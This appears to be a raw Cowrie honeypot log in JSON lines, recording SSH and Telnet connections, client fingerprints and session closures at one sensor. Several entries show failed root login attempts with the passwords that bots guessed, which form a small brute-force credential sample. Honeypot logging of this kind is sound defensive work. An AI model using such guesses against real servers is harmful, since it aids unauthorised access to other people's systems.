{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":38812,"dst_ip":"159.203.135.109","dst_port":22,"session":"9f13101828ca","protocol":"ssh","message":"New connection: 103.27.238.114:38812 (159.203.135.109:22) [session: 9f13101828ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:55:33.333547Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:55:33.338505Z","src_ip":"103.27.238.114","session":"9f13101828ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:55:33.616385Z","src_ip":"103.27.238.114","session":"9f13101828ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin321","message":"login attempt [root/admin321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:55:33.742563Z","src_ip":"37.143.61.84","session":"3a5252d2a3fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54296,"dst_ip":"10.17.0.5","dst_port":23,"session":"88c88ed28d77","protocol":"telnet","message":"New connection: 192.119.13.58:54296 (10.17.0.5:23) [session: 88c88ed28d77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:55:34.021040Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"volkov","message":"login attempt [root/volkov] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:55:34.447838Z","src_ip":"103.27.238.114","session":"9f13101828ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.250.59.1","src_port":32166,"dst_ip":"10.17.0.5","dst_port":23,"session":"ddcc3f06de78","protocol":"telnet","message":"New connection: 47.250.59.1:32166 (10.17.0.5:23) [session: ddcc3f06de78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:55:34.624606Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:55:34.834598Z","src_ip":"37.143.61.84","session":"3a5252d2a3fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.788780212402344,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:55:35.147739Z","src_ip":"192.119.13.58","session":"346a02a3c309","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.47313618659973,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:55:35.712018Z","src_ip":"192.119.13.58","session":"54df3ce7b84b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:55:35.727142Z","src_ip":"103.27.238.114","session":"9f13101828ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":3.000959634780884,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:55:37.625383Z","src_ip":"47.250.59.1","session":"ddcc3f06de78","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.67896747589111,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:55:38.256962Z","src_ip":"192.119.13.58","session":"eac7d723fb49","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.0423219203949,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:55:38.778913Z","src_ip":"192.119.13.58","session":"a4c3b4efa8cd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.177.217","src_port":56040,"dst_ip":"10.17.0.5","dst_port":22,"session":"1f0825768c67","protocol":"ssh","message":"New connection: 43.135.177.217:56040 (10.17.0.5:22) [session: 1f0825768c67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:55:38.838413Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:55:38.846567Z","src_ip":"43.135.177.217","session":"1f0825768c67","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:55:38.915679Z","src_ip":"43.135.177.217","session":"1f0825768c67","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45770,"dst_ip":"10.17.0.5","dst_port":23,"session":"8a21bb5b3438","protocol":"telnet","message":"New connection: 192.119.13.58:45770 (10.17.0.5:23) [session: 8a21bb5b3438]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:55:38.939052Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"jochen","message":"login attempt [root/jochen] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:55:39.219355Z","src_ip":"43.135.177.217","session":"1f0825768c67","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:55:40.291119Z","src_ip":"43.135.177.217","session":"1f0825768c67","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.592872619628906,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:55:41.584473Z","src_ip":"192.119.13.58","session":"3a8ddf0e2e52","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.43516683578491,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:55:46.166342Z","src_ip":"192.119.13.58","session":"48db897ac222","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45982,"dst_ip":"10.17.0.5","dst_port":23,"session":"d8533fcb7405","protocol":"telnet","message":"New connection: 192.119.13.58:45982 (10.17.0.5:23) [session: d8533fcb7405]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:55:46.234330Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47560,"dst_ip":"10.17.0.5","dst_port":23,"session":"ccd4a26359a7","protocol":"telnet","message":"New connection: 192.119.13.58:47560 (10.17.0.5:23) [session: ccd4a26359a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:55:46.562730Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51308,"dst_ip":"10.17.0.5","dst_port":23,"session":"6c9e597fc77c","protocol":"telnet","message":"New connection: 192.119.13.58:51308 (10.17.0.5:23) [session: 6c9e597fc77c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:55:47.471997Z"}
{"eventid":"cowrie.session.closed","duration":40.383591175079346,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:55:50.300111Z","src_ip":"192.119.13.58","session":"e6ea714504f1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.243.239.219","src_port":3072,"dst_ip":"10.17.0.5","dst_port":22,"session":"ffab3bd5c165","protocol":"ssh","message":"New connection: 74.243.239.219:3072 (10.17.0.5:22) [session: ffab3bd5c165]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:55:51.569470Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:55:51.574706Z","src_ip":"74.243.239.219","session":"ffab3bd5c165","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.23.26","src_port":33586,"dst_ip":"159.203.135.109","dst_port":22,"session":"438ece3694d8","protocol":"ssh","message":"New connection: 165.154.23.26:33586 (159.203.135.109:22) [session: 438ece3694d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:55:51.708114Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:55:51.712237Z","src_ip":"165.154.23.26","session":"438ece3694d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:55:51.742538Z","src_ip":"74.243.239.219","session":"ffab3bd5c165","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40074,"dst_ip":"10.17.0.5","dst_port":23,"session":"380400a42eb2","protocol":"telnet","message":"New connection: 192.119.13.58:40074 (10.17.0.5:23) [session: 380400a42eb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:55:51.805100Z"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:55:51.923354Z","src_ip":"165.154.23.26","session":"438ece3694d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dsfdhjlkljkjhghfgdfdgjhkfdgfhghfgfaiziqiqizhong","message":"login attempt [root/dsfdhjlkljkjhghfgdfdgjhkfdgfhghfgfaiziqiqizhong] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:55:52.447060Z","src_ip":"74.243.239.219","session":"ffab3bd5c165","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"alpha","message":"login attempt [root/alpha] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:55:52.804208Z","src_ip":"165.154.23.26","session":"438ece3694d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:55:53.616867Z","src_ip":"74.243.239.219","session":"ffab3bd5c165","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.105.130.18","src_port":41412,"dst_ip":"159.203.135.109","dst_port":22,"session":"46dd21093e36","protocol":"ssh","message":"New connection: 77.105.130.18:41412 (159.203.135.109:22) [session: 46dd21093e36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:55:53.958760Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:55:53.964179Z","src_ip":"77.105.130.18","session":"46dd21093e36","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:55:54.032393Z","src_ip":"165.154.23.26","session":"438ece3694d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:55:54.059843Z","src_ip":"77.105.130.18","session":"46dd21093e36","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"wilson","message":"login attempt [root/wilson] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:55:54.471554Z","src_ip":"77.105.130.18","session":"46dd21093e36","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.51.241.230","src_port":60636,"dst_ip":"159.203.135.109","dst_port":22,"session":"ca2bdb884f74","protocol":"ssh","message":"New connection: 49.51.241.230:60636 (159.203.135.109:22) [session: ca2bdb884f74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:55:54.586478Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:55:54.591769Z","src_ip":"49.51.241.230","session":"ca2bdb884f74","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:55:54.660463Z","src_ip":"49.51.241.230","session":"ca2bdb884f74","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"speed666","message":"login attempt [root/speed666] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:55:54.965066Z","src_ip":"49.51.241.230","session":"ca2bdb884f74","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:55:55.569904Z","src_ip":"77.105.130.18","session":"46dd21093e36","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:55:56.037117Z","src_ip":"49.51.241.230","session":"ca2bdb884f74","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.176.251","src_port":56650,"dst_ip":"159.203.135.109","dst_port":22,"session":"2dda1e0355d6","protocol":"ssh","message":"New connection: 43.135.176.251:56650 (159.203.135.109:22) [session: 2dda1e0355d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:55:56.056323Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:55:56.061727Z","src_ip":"43.135.176.251","session":"2dda1e0355d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:55:56.131840Z","src_ip":"43.135.176.251","session":"2dda1e0355d6","protocol":"ssh"}
